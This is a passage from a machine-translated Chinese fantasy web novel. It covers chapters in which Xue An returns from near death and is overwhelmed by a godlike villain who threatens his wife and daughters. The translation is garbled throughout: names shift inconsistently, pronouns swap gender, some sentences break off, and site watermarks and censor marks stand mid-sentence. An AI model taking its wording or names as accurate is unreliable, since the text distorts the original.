    But just halfway through his attack, the golden light on the Buddha''s body suddenly began to grow sharply and exploded in an instant.


    "Bloating golden body!" Someone exclaimed and lost his voice.


    The power of the explosion was so great that it even blasted half of the head of the Hydra into pieces.


    Hydra can not help but angry, "ah ah ah ah How dare hurt this honor, all die!"


    But at this moment, a scene that shocked everyone appeared.


    But seeing a famous Buddha Xiu Qiqi rush to the front of Hydra, then they blew up one by one.


    Seeing those golden lights exploding like fireworks, even the most hard-hearted people will be moved.


    Everyone felt enthusiasm, and Hu Huan roared.


    "Everyone, take my last blow!"


    Countless strong people gathered together, ready to make this last charge.


    Huye whispered to Ajudo beside him: "Rouer!"


    "Ok!"


    "You will stand behind me for a while, and I will find your way first after death!"


    There are thousands of tenderness in A Rou''s eyes, "Hmm!"


    But at this moment, a seal was suddenly printed on A Rou''s body, and she flew out of the battlefield at an extremely fast speed.


    This unexpected scene horrified Hu Ye.


    "What''s the matter? Who is it?"


    At this moment, Ao Yi suddenly appeared in front of him, and said with a deep face, "I did it!"


    "What do you mean?" Hu Ye roared.


    But at this moment, Ao Yi suddenly grabbed the clothes on his chest, moved his face closer, staring at Fox Ye''s eyes.


    "You bastard, don''t you know that Arou is pregnant with your child?"


    "What?" Fox Ye was shocked, and there was an incredible color in his eyes.


    "Fox Ye, do you know that I hate you so much, and I even wish you die, but I don''t want Arou''s future children to have no father, so... you get out of here!"


    Speaking of this, Ao Yi suddenly opened his mouth, and then spit out a dragon ball.


    The brilliance of this dragon ball is her natal dragon ball.


    As soon as the Dragon Ball came out, UU Reading flew directly into Fox Ye��s mouth, and the town sealed the Fox Ye who wanted to talk.


    Then Ao Yi lifted him up just like throwing a cargo, and threw it out in the direction where A Roufei was walking.


    Hu Ye''s heart was screaming frantically, and he rose up all his strength to look at Ao Yi.


    But helplessly, this dragon ball contained the power of Ao Yi''s whole body, and he couldn''t break free at all.


    Hu Ye has never hated her low power so much.


    But everything was too late, he turned into a brilliance and was thrown straight out of the battlefield.


    Ao Yi stood on the spot, watching the distant Fox Night, big tears kept sliding down, but soon she wiped away the tears and said lightly.


    "Fox night, remember, you owe me a wedding!"


    After that, she turned around to reveal the original form of the dragon, and roared towards the evil army.


    This battle!


    The heavens weep blood, gods and Buddhas close their eyes!

 Chapter 2163： Qi machine wake up

    Earth.


    Beijiang.


    The hustle and bustle of the streets, but now it is deadly silent.


    Many people silently watched the live broadcast of the battlefield image on the big screen, and there was a faint weeping sound.


    But the faces of more people are completely desperate.


    It is as if a prisoner who has been sentenced to death is waiting for the end.


    At this moment, Aunt Fatty was carrying An Yan who was unable to move, holding the two little girls, Missing and Missing, walking quickly across the street.


    Aunt Fatty''s talent is not very good, but after so long, coupled with Uncle Xie''s diet supplement, she now has half a step of true celestial strength.


    of course.


    This strength is simply not available on the current earth.


    But it was enough for her.


    At least now, with one person on his back and two children in his hands, he can still move at a very fast speed.


    The pedestrians on the street did not respond to this scene.


    Because everyone understands that no matter where you flee now, it is impossible to escape your final destiny.


    In this case, it is better to preserve your strength and stand up for the final blow while waiting for the evil thing to invade.


    Soon, the fat aunt ran out of Beijiang city, and saw that she could turn another street into the suburbs.


    But at this moment, a figure suddenly appeared in front of him but blocked the way.


    "Aunt Yue!" The two little girls exclaimed.


    Aunt Fatty stopped anxiously, then blocked the two little girls behind her, and at the same time stared at Yue Qinghuan with a guarded face, "It''s you? What do you want to do?"


    Naturally, the fat aunt also heard of this mysterious girl.


    But at this time she no longer believed in anyone.


    Not to mention that she suddenly appeared, and God knew what she was going to do.


    However, Yue Qinghuan didn''t pay attention to Fat Auntie''s question at all, but first smiled at the miss that was blocked by her.


    Then he raised his eyes and said lightly: "Where do you want to escape now?"


    "You don''t need to worry about this!" Aunt Fatty said stiffly, while reaching into the bag and holding the kitchen knife.


    "You want to take An Yan and these two little girls to hide and escape the disaster, but do you think this is possible?" Yue Qinghuan said lightly.


    Aunt Fat didn''t say a word.


    "You don''t understand these evil things, even if you have the jade pendant of the Dark Queen, you can''t escape their pursuit. After all...they are the blood of Xue An, but these evil things are inevitable. prey."


    As soon as he said this, Aunt Fatty''s face instantly turned pale.


    After all, she is just a woman with little knowledge, and her greatest ability is to run a small restaurant.


    Especially now that both her husband and daughter are undecided on the battlefield, she has no backbone.


    So when I heard Yue Qinghuan''s words, I couldn''t help panicking.


    "Then...what should I do?" Aunt Fatty whispered.


    Suddenly, her eyes lit up, as if she had caught a life-saving straw, staring at Yue Qinghuan.


    "Miss Yue, you are a person with great abilities. You must have a way to protect these two little girls and Miss Yan, right?"


    But soon, the fat aunt''s heart sank to the bottom.


    Because Yue Qinghuan shook his head nonchalantly after hearing the words.


    "It''s useless, for today''s plan, only one person can really save them!"


    The fat aunt was shocked, "Who?"


    Yue Qinghuan raised his head to look at the **** sky, and said lightly: "Of course it is the man!"


    "You mean... Xiaoan?" Aunt Fatty''s eyes widened instantly.


    "Could there be anyone else?"


    "But isn''t he already trapped by evil things... life and death uncertain?"


    "Who said he was dead?" Yue Qinghuan smiled faintly.


    Aunt Fatty was shaking all over with excitement.


    Because the impact of the news on her was too great.


    You must know that now the whole world has no hope for Xue An.


    Some people even think that he must have fallen into the evil army.


    Unexpectedly, this mysterious girl of unknown origin said Xue An was not dead.


    How can this not make the fat aunt excited.


    The two little girls rushed out from behind the fat aunt in an instant, with tears on their little faces, and then asked very eagerly.


    "Aunty Yue, are you true?"


    Now these two little girls are indeed completely panicked.


    Because since Xue An''s five senses were forcibly deprived, the blood connection between the two little girls and him has also been interrupted, and has not been connected until now.


    How could this not make the two of them panic.


    Yue Qinghuan obviously liked these two little girls very much. Hearing this, he knelt down and gently touched their heads, and then wiped the tears from their cheeks.


    "of course it''s true!"


    "Then when does he wake up? I miss him so much!" Nian-nian burst into tears first.


    Thinking about it, I forcibly endured it without crying.


    Yue Qinghuan sighed softly when he woke up, "It depends on him when he wakes up. It may be the next second, or it may be a long, long time later. All this depends on his own good fortune!"


    When saying this, Yue Qinghuan''s eyes couldn''t help passing a touch of worry.


    Because as a bystander, the intensity and severity of this battle has far exceeded her previous expectations.


    The number of evil creatures invaded and the strength were so strong that she was numb to her scalp.


    But even with such a huge disparity in strength and an unfavorable situation, everyone in the heavens has miraculously survived until now.


    In particular, the courage that people showed when facing such a tragic situation made Yue Qinghuan deeply moved.


    So before he knew it, Yue Qinghuan had already leans towards the heavens.


    Due to constraints, she could not interfere in this war.


    I can only appease these two little girls, thinking and thinking.


    As for Xue An''s situation...


    Yue Qinghuan only knew that he was not dead now. As for when he would wake up, it was an unknown number.


    After all, the silent banshee who cultivated the five senses and possessed infinite rebirth ability was an existence she did not dare to easily provoke.


    Xue An... It''s up to you now!


    If you can break through yourself, UU reading www.uuk��nshu.com, then the heavens may come back.


    Otherwise... I can only guarantee that your wife and daughter will not have an accident, as for the others, I can do nothing.


    Yue Qinghuan thought silently.


    And after hearing that their father was not dead, the two little girls, Missing and Niannian, looked towards the sky with infinite reverence and whispered in their mouths.


    "Dad, you will wake up soon! Many uncles and aunts are looking forward to your waking up. If you don''t wake up again, the whole world will be destroyed by bad guys! You want to save the world!"


    The whispered prayers with a weeping voice soon dispersed in the air, but the faint, mysterious aura between heaven and earth also changed.


    Yue Qinghuan was shocked, then looked up, a look of horror appeared in his eyes.


    But soon, the horror turned into a smile at the corner of his mouth.


    "Xue An, you really did not disappoint me!"

 Chapter 2164： Return, half a step Xianzun!

    As soon as her voice fell, no matter it was on the earth, in the battlefield, or even in the entire heavens, everyone felt shocked.


    Immediately afterwards, a rumbling sound rang from everyone''s ears.


    This is an indescribable feeling.


    It''s as if there is something unpredictable, even incomprehensible being coming out of the shell.


    The whole heavens are cheering, cheering at the arrival of their kings.


    On the battlefield, Li Jingxing, who was already scarred and fighting the evil creatures, was taken aback for a moment, and then let out a long breath.


    "is it him?"


    Huhuan limped forward, and there were only six fox tails that were originally nine. However, there was a deep joy and relief on his face.


    "Yes, it''s him, and it seems... he should have taken that step!"


    "Yeah! It can make the entire heavens shake, and all things in the heavens and earth are all bowing their heads. Only he who took that step can do it!" Li Jingxing could not help but sigh softly.


    And it was at this moment that the army of evil creatures that had been so arrogant also noticed the strangeness.


    Many evil creatures shivered back.


    Hydra shook all over, and then whispered in consternation: "How is it possible? The Silent Banshee with infinite rebirth is already comparable to an adult, so how can he be an opponent?"


    But whether he believes it or not, in the center of the battlefield, Qi is becoming more and more prosperous.


    At this moment, even the dullest people have noticed the strangeness.


    Countless eyes gathered in the middle of the battlefield.


    Many people are shaking with excitement.


    The expressions on the faces of Hydra and many high-level evil creatures became more solemn.


    They looked at each other, and then unanimously launched an attack toward the center of the battlefield.


    Boom boom boom!


    I saw black light permeating, evil spirits shaking the sky, and obviously they had already performed the strongest ultimate move.


    But no matter how powerful the offensive of these evil things is, they still can''t conceal this momentum.


    And after one contact, these offensives dissipated like smoke, and even a wave of waves did not arouse.


    Not only that, a figure is gradually appearing in the hazy brilliance.


    Hydra''s complexion changed wildly, "No, get out!"


    After all, it turned around without hesitation, and wanted to run away.


    But at this moment, all its movements were instantly stagnant, and then it was abruptly nailed in place.


    Not only it, but almost all the evil things present were nailed to the spot in the same way, and the whole process was unable to even struggle.


    Immediately afterwards, I saw a person gradually walking out of Guanghua.


    Bai Yi Shengxue, brows and eyes are sharp.


    Who can it be if it''s not Xue An?


    After seeing his figure, the whole world was silent for a while, and then there was a huge cheer.


    "Mr. Xue is back! I knew he would not fail!" Someone cried with joy.


    "Xue Shenzun is invincible in the world!" someone screamed.


    "Xue Shenzun, you have to avenge the heroes who died in battle!" Someone burst into tears.


    Yue Qinghuan raised his eyebrows slightly, and muttered in a low voice: "Xianzun? No, it''s still a little bit short, so it''s half a step of the way."


    As for the people on the battlefield, they were not so excited.


    On the contrary, many people only feel deeply tired and sad at this moment.


    Because they all witnessed the death of their close comrades in front of them.


    This feeling made them lose the urge to cheer.


    Only Huhuan sighed slightly, and then said with envy, "It''s still a destiny. I can successfully take that step twice. Why can''t you say I can''t?"


    At the same time, I saw Xue An standing in front of the crowd, his gaze swept across the audience in an instant, and finally his gaze stayed on Hydra.


    The Hydra, who had been killed in place by an unknown force, immediately began to struggle with this gaze.


    Because only it can feel how terrifying this gaze is.


    But before it did anything, Xue Anyi appeared in front of it silently.


    The whole process was in harmony with each other, as easy as breathing, without the slightest smoke.


    The pupil of Hydra shrank to the size of a needle in an instant, but the hostility of being an evil thing actually prevented it from being deterred by Xue An''s power, but staring at Xue An with infinite bitterness.


    Although he can''t speak, but his eyes have explained everything.


    But in the next instant, it could no longer hold up.


    Because at this moment, Xue An slowly stretched out his hand and pressed it on top of its head.


    After finally feeling the breath of death, the previous ferocity of Hydra disappeared instantly, and the extreme panic made it blurt out a few words.


    "Spare me..."


    Before the latter words were spoken, Xue An pressed down blankly.


    There was no sound, not even the slightest extra energy.


    Starting from the top of Hydra''s head, its entire body turned into nothingness at an extremely fast speed.


    That''s right!


    It''s nothingness.


    There wasn''t even the slightest scum, it was completely nothingness.


    In the blink of an eye, the Hydra completely disappeared, as if it had never existed before.


    And such a terrifying scene made the remaining evil creatures tremble with extreme fear.


    Seeing these shivering, like the evil creatures of lambs to be slaughtered, I think of the way they arrogantly reaped everyone''s lives before.


    Many people have a feeling of exhilaration.


    At this moment, Xue An flicked his fingers.


    A touch of invisible energy swept across the audience in an instant, directly turning all evil things into nothingness.


    In the blink of an eye, Xue An swept away the evil army who had occupied most of the battlefield.


    Seeing that countless people have paid the price of their lives, but still can''t deal with the evil things so easily, Xue An alone solved it.


    Everyone felt an extremely absurd feeling.


    "My trough, is this the power of Xianzun?" Hu Huan whispered softly with shocked face.


    Li Jingxing faintly noticed something was wrong, and couldn''t help but said with a solemn expression: "Nothing!"


    "What''s wrong?"


    "Xue An''s state is not right!"


    really.


    After killing countless evil things with a finger, Xue An didn''t have any light on his face. Instead, he raised his head to look at the bronze gate in the distance, and then said the first sentence. UU reading


    "Isn''t it there yet?"


    As soon as the voice fell, the bronze door was easily disintegrated in an instant and turned into nothing.


    In the original location, a huge whirlpool appeared.


    Then a calm voice came from the whirlpool.


    "Xue An, you really gave me so many surprises!"


    While speaking, a man suddenly appeared in the whirlpool.


    This man came slowly and appeared in front of everyone in an instant.


    When he appeared, the entire heavens trembled.


    And the extremely terrifying power made the space around him constantly shrinking.


    Yue Qinghuan, who had been watching all this with cold eyes on the earth, couldn''t help but change his face after seeing this man, and exclaimed.


    "How can it be!"

 Chapter 2165： Above the immortal, half-step saint

    "Old Li, this breath..."


    Hu Huan took a deep breath, then looked at each other with Li Jingxing, and the two of them changed their colors at the same time.


    Because they felt an unspeakable power from this man.


    When you look at him, it is as if you are gazing at death, making you want to sink into it involuntarily.


    This feeling also quieted the entire battlefield and even the entire heavens.


    Yue Qinghuan whispered with a solemn face: "How is it possible, how can such a level of existence appear here? Is this going to completely destroy these heavens?"


    Speaking of this, she looked at Xue An worriedly, with no more confidence in him in her heart.


    But under this situation, Xue An looked calm, and then said lightly: "After hiding for so long, are you finally willing to embody yourself?"


    The man smiled slightly, and the void around his body was indeterminate with his smile.


    "Aren''t you scared at all?"


    "Afraid? Why should I be afraid?" Xue An slowly raised his eyes, "I have been ready since I took the first step!"


    "Good point!" The man applauded softly and exclaimed: "Seriously, you are indeed a talent. I am a little bit reluctant to kill you!"


    These words made everyone''s hearts tighten.


    You know how terrifying Xue An''s power just showed, but when he reached this man''s mouth, he became so understatement, as if he was talking to an ant.


    This can not help making many people deeply curious about the origin and strength of this man.


    Xue An ignored the man''s remarks. He just said indifferently: "If I just failed to break through, and if I had a half-step proving immortal, would you not even show your face?"


    "Of course, because only you now are barely qualified to talk to me like this, otherwise you will only see my projection once, and even if you fail to break through, my pets will The puddles are completely dry!"


    The man said lightly, with a relaxed tone.


    In fact, by now, many people have recognized that this man is the phantom that has appeared on the earth before.


    Xue An raised himself slightly, his eyes were full of cold light, "Speaking of which, I should feel honored about this?"


    The man shrugged, "Whatever you do, you are about to die anyway."


    Xue An sneered, suddenly appeared in front of the man, and then threw a punch.


    At this time, Xue An, after experiencing the deprivation of the five senses, finally found his own way again, proving the path for a half-step Xianzun.


    Moreover, his strength is different from the parallel imports of Luo Ruqing, who proved his way through opportunism before, and he takes every step of his own steadfastly.


    Therefore, his current strength can be said to be the only one in the world, and he has recovered most of the power of the year.


    So when he blasted this punch, he could no longer describe it in words.


    As if in a flash, countless stars shattered in Xue An''s hands, and the powerful energy burst out to reach the man''s throat.


    But the man didn''t even move, but looked at Xue An with a smile.


    There was a commotion in the crowd, and many people''s faces showed joy.


    Because in their eyes, no matter who this man is, under Xue Shenzun''s punch, he will all turn into powder.


    But I never expected that the situation would change abruptly after a short period of time.


    Just when Xue An''s fist touched the man''s cheek, the man appeared next to Xue An in a flash, and then said lightly: "This punch is good, continue!"


    Xue An''s fist failed, but he did not hesitate, and his other hand blasted directly at his side.


    But the next moment, the man appeared behind Xue An again like a ghost, and then shook his head.


    "Still too slow, is this all your strength?"


    boom!


    Xue An''s hair and beard were all open, and a red lotus appeared between his eyebrows, and at the same time the majestic sword intent mixed with the divine fire from the outside world shot behind him.


    The man''s eyes shone slightly, "This is interesting!"


    But he didn''t dodge, he didn''t even bother to move his hands, just let out a breath.


    puff!


    The boundless sword light and the sky full of divine fire were completely blown out by this careless breath.


    After only three face-to-face encounters, Xue An was completely downwind, without even touching the corners of the other party''s clothes.


    This time, everyone was shocked!


    Many people opened their mouths wide in surprise, and their faces were full of incredible shock.


    You must know that Xue An has been sweeping everything with a squint posture since he was born, known as the invincible heavens.


    But when he arrived in front of this man, he was as immature as a child, and the strength gap represented by this was enough to make people desperate.


    At least Yue Qinghuan shook his head helplessly, "Useless Xue An, you can''t beat him at all with the current you, after all... He has crossed the peak of the Immortal Venerable, half-footed into the existence of the saint. what!"


    If there were other people present, they would definitely be shocked after hearing what Yue Qinghuan said.


    Because in people''s inherent cognition, the highest realm is Xianzun.


    That''s why Xue An was called the Peerless Immortal.


    This is because everyone thinks that after reaching Xianzun, they have reached the top, and there will be no way after that.


    Especially when Xue An tried to hit the ultimate, but failed and fell, this became a common sense recognized by everyone in the heavens.


    But I never expected that after Yue Qinghuan''s mouth, there would still be a saint''s realm after Xianzun.


    Although this man only half-footed into the realm of the saint.


    But at this level, the slightest gap is often insurmountable like a moat.


    That''s why Xue An is so passive.


    At the same time, Li Jingxing and Hu Huan also wake up.


    "Xue An is definitely not this person''s opponent, let''s go together!" Hu Huan said, and immediately rushed up.


    Li Jingxing didn''t hesitate even more, and directly struck the man with a sword.


    But if this man was careless when facing Xue An, he completely ignored the attacks of Hu Huan and Li Jingxing.


    I saw that he didn''t even look at the attacking two, just smiled faintly.


    "It seems that you still don''t understand what a true **** is!"


    boom!


    As soon as the voice fell, there was a loud bang, and Li Jingxing and Huhuan, who had just rushed in extremely quickly, were shaken out like kites with a broken line.


    But they didn''t fly far, because just in the middle of the air, an invisible force suddenly bound them firmly, and then lifted them up.


    In an instant, the two immortal emperors of UU Reading were completely defeated, and they couldn''t even move.


    hiss!


    Everyone in the audience took a breath.


    At this moment, Xue An''s eyes were full of brilliance, and the turbulent spirit condensed into a huge spike in an instant, blasting towards the man.


    Facing this blow, the man''s face finally showed a touch of solemnity.


    But that was all, he just waved his hand, and an indescribable huge pressure came crashing, directly crushing this divine consciousness spike.


    Immediately afterwards, Xue An''s figure fell down, and there was a loud noise from the joints in his body, and he was obviously under extreme pressure.


    "Mr. Xue!"


    "Xue Shenzun!"


    There was a burst of exclamation from the audience.


    The thoughts and thoughts on the earth cried out instantly.


    "father!"

 Chapter 2166： True god

    Xue An raised his whole body to resist the huge pressure on his shoulders, and at the same time raised his eyes to stare at the man.


    The man smiled faintly, "Don''t worry, this is just the beginning, I see how long you can last!"


    When the words fell, the pressure suddenly increased, Xue An snorted, and his body fell again, and at the same time his shoulder blades and spine began to burst.


    "Brother Xiaoang!" Hu Ying wailed, and then rushed towards the man desperately, roaring with blood red eyes.


    "I''m fighting with you!"


    Behind Hu Ying, Fan Mengxue, Tang Xuan''er and others, who were also bruised and bruised, also spared everything and rushed towards the man.


    The man''s eyes lit up slightly, "Hey, what a beautiful little fox, it would be nice to take it home and be a little maid!"


    With that, he stretched out a finger and tapped it lightly.


    Bang!


    An invisible wall instantly bound Hu Ying, Fan Mengxue and Tang Xuan''er.


    Fan Mengxue vomited a mouthful of blood at that time because she tried to hit the wall but was injured by the shock.


    As for Hu Ying, she saw her eyes cracking and she looked at the man with fire-breathing eyes.


    But her appearance aroused the man''s interest even more. He only hooked slightly, and Hu Ying flew to him in an instant.


    Then he raised his hand and gently raised Hu Ying''s chin, and exclaimed, "What a beautiful little fox demon!"


    boom!


    Under extreme anger, a tail suddenly grew behind Hu Ying, and at this time she was successfully promoted to six-tailed fox.


    With the promotion, her aura suddenly rose, but she was suppressed again in the blink of an eye.


    Because this increase in strength was of little importance to this man, it made him even more excited.


    "Good temper, but the more you do this, the more interesting it will be to train!"


    Hu Ying couldn''t move her whole body, she could only look at the man with fire-breathing eyes, and then said every word.


    "Let go of Xiao An!"


    "Are you talking about him? Tsk tsk, what a touching friendship, so you like him?"


    The man sighed a few times, then turned his head to look at Xue An, who was soaked in blood, and said lightly.


    "It''s really strange, such a tender and delicious little fox likes you, but you didn''t move her, why? Did you leave it to me on purpose?"


    Originally the man wanted to say something, but at this moment, Xue An raised his eyes blurred by blood and stared at him coldly.


    This extremely cold gaze shocked the man''s heart, but soon he laughed.


    "Xue An, it seems that you are still not convinced! That''s good, then I will let you be convinced, and let you understand that if you offend me, what are the consequences!"


    As he spoke, the man stomped his foot suddenly.


    boom!


    The entire battlefield was emptied, and even the entire Pure Land Buddha Kingdom was sensational. Then I saw that the space-time channel connecting the earth and the Pure Land Buddha Kingdom instantly increased, and instantly eliminated all spatial barriers.


    In the blink of an eye, the void of this battlefield merged with the earth, and also the Sword Palace star field.


    This almost miraculous scene stunned everyone.


    But this is a common occurrence in the eyes of this man.


    He lowered his head and looked down at the land of China at his feet, and finally stopped his gaze on the Kunlun Mountains, which had been completely silent, and a sneer appeared at the corner of his mouth.


    "Unexpectedly, after so many years, it still hasn''t changed much here!"


    At this moment, the General Zhen Guo located in the central capital forcibly endured the terrifying power that fell from the sky, and resolutely pressed the launch button.


    Boom boom boom!


    There was flames on the land of Shenzhou, countless nuclear warheads began to lift off, all targets were aimed at this man.


    But before these nuclear warheads rushed closer, I saw the man wave his hand.


    In an instant, almost all nuclear warheads easily disintegrated and turned into nothingness.


    Only one of them rushed to the front, but was caught in the hand by the man, and then looked at it with interest, and then said with interest.


    "Very interesting toy, but nothing more!"


    As he said, he shook his hand abruptly, and the nuclear bomb disappeared.


    The eyelids of everyone watching such a fierce scene jumped wildly.


    The general of the town country changed even more, and at this time the man glanced here casually.


    Boom!


    After a loud noise, the entire command building where the town general was located was razed to the ground.


    "What a noisy ant! Are you right, Xue An!"


    Xue An didn''t say a word, because he was gritting his teeth and carrying the tremendous pressure on his body.


    "Actually, you should understand, because your talent is rare even if you put it outside. The strength of Half Step Immortal Venerable is enough to make you deeply appreciate the difference between Xian Fan!"


    "So I really don''t understand, why do you want to speak for these ants?"


    Xue An stared at the man coldly, and finally said slowly: "I think you are the ants!"


    This sentence made the man stunned, and he laughed loudly, "Okay! There is a kind! This is the first time anyone dared to speak to me like this in so many years. It seems that all of you Chinese are all equally stubborn. , Then I will fulfill you!"


    As he said, the man stretched out a finger and tapped gently.


    Missing and An Yan, which had been hidden by the fat aunt, rose up in the air in an instant, and came to Xue An.


    Seeing this scene, everyone''s pupils shrank instantly.


    Xue An''s eyes also narrowed slightly.


    "Hehe, is this your blood and Taoist companion? You look so cute!"


    The man said with a smile, his eyes flashed, An Yan''s **** was instantly untied, and then she screamed at Xue An.


    "Husband!"


    At this moment, Xue An was covered in blood, and his bones were still bursting, as if he was about to be crushed by some huge force at any time.


    Seeing this scene, An Yan''s heart was almost bleeding.


    The two little girls were even more angry: "Big villain, let go of my father!"


    Nian Nian pointed to a man, and shouted with a pale face, "Get out!"


    With this cold drink, the Qi of Heaven and Earth changes accordingly.


    After noticing all of this, the man raised his eyebrows slightly, and said in surprise: "It''s interesting, it''s actually a way of saying things!"


    "But it''s too weak. If you grow strong enough, I might still be afraid of you, but now..."


    The man laughed, "It''s just a joke in my eyes!"


    With that said, An Yan and Miss Missing were easily bound up instantly.


    Then the man turned his head to look at Xue An, "Xue An, now your family is here, how do you think I should deal with them?"


    Xue An didn''t say a word, just took a deep breath, and then straightened his waist a little bit, abruptly carrying the huge pressure.


    The man��s eyes showed a cruel brilliance like playing with prey You want to fight me hard, right? "


    For unknown reasons, Xue An''s eyes have become blood red.


    "Yes, that''s it, but it''s not enough!" The man suddenly became excited.


    Then raised his hand to grab into the void.


    After reaching out, they were the two people who were forcibly thrown out by Ao Yi before.


    At this moment, the two of them couldn''t even move.


    "These two are your friends too! Who do you think I should kill first?" the man said distressedly.


    "Or, let''s start with your two daughters, what do you think?"


    As he said, the man stretched out his hand to touch thinking and thinking.


    At this moment, Yue Qinghuan''s figure suddenly appeared in front of the two little girls, and then coldly said: "Others are fine, but they two can''t!"

 Chapter 2167： Never admit defeat

    In an instant, the eyes of the whole world focused on Yue Qinghuan.


    Many people were shocked, wondering who this mysterious girl was.


    An Yan''s eyes showed deep gratitude.


    But the man was slightly startled, and even narrowed his eyes.


    "What? Are your soldiers trying to intervene in this matter?"


    Yue Qinghuan''s face sank like water, and said lightly: "I don''t represent anyone, I only represent myself!"


    "Only on behalf of yourself? If you say that, your actions are not approved by your family anymore?" The man sneered.


    Yue Qinghuan looked calm, "Is it my business to have permission from the family, but these two little girls, I am in Baoding!"


    The man took a deep look at Yue Qinghuan, and then laughed strangely, "It is strange, as a soldier, shouldn''t you be the one who understands Xianfan''s difference? Why are you so concerned about the two little girls?"


    "You don''t need to worry about this, and..."


    With that, Yue Qinghuan turned his head and looked at Xue An not far away, with a hint of compassion in his eyes.


    "You have to be forgiving and forgiving. You have already done something to the Chinese people back then. How about letting him go now?"


    As soon as this remark came out, the man laughed loudly, "Should be forgiving and forgiving? Yue family girl, don''t you think these words are particularly funny from your mouth?"


    "The descendants of the dignified military family, don''t you even understand the truth of cutting grass and rooting out the roots? Or... are you deliberately going against me?"


    At the end, a very dangerous light flashed in the man''s eyes.


    boom!


    The space around him instantly shattered because he couldn''t bear such a violent killing intent.


    Yue Qinghuan didn''t even blink his eyelids, but stood still and stared at the opposite man quietly.


    "Why? Do you want to attack me?"


    The man sneered, "Yue family girl, I respect your patron is a genius of heaven, so I will give you a face, you retreat now, I will naturally not attack you, but if you do not know how to advance or retreat...


    "Then don''t blame me for being rude to you!"


    Yue Qing laughed happily.


    Her smile was as brilliant as a hundred flowers in full bloom.


    "You''re welcome? Then you can try now!"


    When the words were over, Yue Qinghuan suddenly appeared in front of the man, and his slender hand pointed straight to the man''s brow.


    The man sneered, "Dark Chen Cang? You are actually a high-ranking descendant of the military family. It seems that your military family is determined to intervene in this matter!"


    As he spoke, the brilliance flashed in the man''s eyes, and huge pressure burst out.


    Yue Qinghuan snorted, and then he was shaken back by dozens of steps. After standing still, his face became slightly pale.


    "Let me say another sentence, for the sake of your Patriarch, now step down, I can assume that this hasn''t happened before, otherwise... even you will die!" the man said coldly.


    However, Yue Qinghuan let out a long breath and slowly said, "What if I don''t?"


    "Then you go to die!"


    As he said, the man blasted a punch directly.


    This punch appeared in front of Yue Qinghuan in an instant, and with the supreme violent might blasted towards Yue Qinghuan''s door.


    Yue Qinghuan retreated sharply, but his complexion became paler by the oppression of this fist.


    A grinning smile appeared on the man''s face.


    But the next second, the smile on his face completely solidified.


    Because just at this moment, a palm shaped like a sapphire suddenly appeared on his side, and at the same time he clenched his palm into a fist and blasted directly on his temple.


    Boom!


    After a very dull loud noise, the man was completely blasted out like a cannonball.


    Then Xue An slowly lowered his fist and said to Yue Qinghuan, who was shocked, "Thank you!"


    The color of astonishment on Yue Qinghuan''s face gradually faded, and then she changed to a bright smile.


    "You''re welcome!"


    And the whole world was completely boiling because of Xue An''s punch.


    "Ah ah ah ah Xue Shenzun finally made a move!"


    "Xue Shenzun, you must beat this nasty villain to death!"


    But many people looked at Xue An with worry.


    Therefore, at this moment, Xue An''s whole body was stained red with blood, and Bai Sensen''s stubble was exposed on his shoulders, and he was obviously seriously injured.


    Under such circumstances, can he be the opponent of this unreasonable man?


    While many people were secretly worried, the man��s angry voice came from deep in the void.


    "Very well, Xue An! You successfully angered me. Next, I will torture all your family members and friends to death in front of you!"


    With the words, but seeing this man stepping out of the void, every step he took, his aura more than doubled.


    When he walked into the field, his indescribable aura had already made the entire planet unbearable.


    Hearing the Law of Heaven uttered an overwhelmed groan, then it broke apart.


    Suddenly, a great earthquake trembled and the sea boiled.


    The whole earth is obviously about to disintegrate.


    And such violent power made everyone even more discolored.


    "It''s over! This time is over!" Even the most optimistic Fox Huan closed his eyes in despair at this moment.


    Xue An, who was at the center of the storm, was obviously under even greater pressure.


    Just listening to the bursts of broken bones, Xue An''s body was twisting and deforming a little bit, and the flesh and blood disappeared.


    In the blink of an eye, most of Xue An''s body was turned into bones.


    Such terrifying images have broken the hearts of countless people.


    An Yan even screamed like weeping blood, "Husband!"


    "Hahahaha Xuean... what else do you want to say now? Kneel down and beg for mercy, I can still give you a good time, otherwise you will endure endless pain to be relieved!" The man said arrogantly.


    Hearing this, countless people turned their eyes on Xue An, and then they didn''t know who started first.


    "Mr. Xue, give up! We won''t fight anymore!"


    "Yes, Xue Shenzun We all know that you have tried your best, so let''s give up, we''ll give up!"


    For a time, the whole audience was boiling.


    Everyone was in tears, and many people lowered their heads, unable to bear to look at Xue An now.


    No one resents, because everyone knows that Xue An has indeed tried his best.


    But the destiny is so, how can manpower change it?


    Even Yue Qinghuan couldn''t help but sighed at this moment, and then whispered: "Give up Xue An, in this puddle, the Half-Step Saint is absolutely invincible, you can''t beat him!"


    The man laughed infinitely arrogantly, "Have you heard Xue An, even the people you protect have already given up. Are you still not going to give up?"


    His face was completely ruined, but Xue An, with only one skull left, slowly raised his head at this moment, staring at the opposite man with his empty eyes, and then said in a vague voice.


    "Never... admit defeat!"

 Chapter 2168： Start slaughter

    oom!


    Following the voice, Xue An stepped towards the man step by step.


    With every step he took, he would drop large pieces of flesh and blood.


    Such a tragic scene also caused the audience to lose their voice.


    The two little girls were already crying and couldn''t even speak.


    "Dad!" They wanted to rush forward, but they were caught by Yue Qinghuan.


    "Aunty Yue, my father..."


    Yue Qinghuan shook his head lightly, and sighed: "Don''t stop, your father is a hero!"


    At this moment, An Yan on the side suddenly said softly: "Miss Yue, I beg you for one thing!"


    "You said!"


    "I hope you can take care of me to think and miss!"


    Yue Qinghuan was taken aback for a moment, and immediately understood something, and couldn''t help nodding, "Okay!"


    An Yan swept the temples in her ears and chuckled softly, "Thank you!"


    "You''re welcome!"


    Then An Yan squatted down, stroking the cheeks of the two little girls, holding back tears.


    "I will listen to what Aunt Yue said in the future, do you know?"


    Everyone who is crying is going to lose his breath, "Mom, where are you going?"


    "Dad is too lonely, mom is going to accompany him!"


    Nian Nian cried louder, reaching out to grab An Yan''s wrist.


    An Yan turned around without hesitation.


    "Mom!" Nian Nian burst into tears, trying to rush forward, but was caught by thinking about it.


    Thinking about it at this moment, although there were tears on his face, it was more calm than Nian Nian.


    She whispered: "Sister, stop crying, raise your head and look forward!"


    Nian Nian gradually stopped crying and looked forward.


    Think about it very calmly and say: "Remember this person''s appearance, he is our enemy, we must carve it into the bone!"


    An infinite chill appeared in Nian Nian''s eyes.


    "Ok!"


    At the same time, under the attention of the audience, An Yan withstood the pressure and walked forward with great difficulty.


    Upon seeing this, the man sneered, "What? Is this to be a pair of fateful mandarin ducks? Then I will do you all!"


    As he said, he slowly raised his hand, the supreme power formed in his hand, and he wanted to shoot it down.


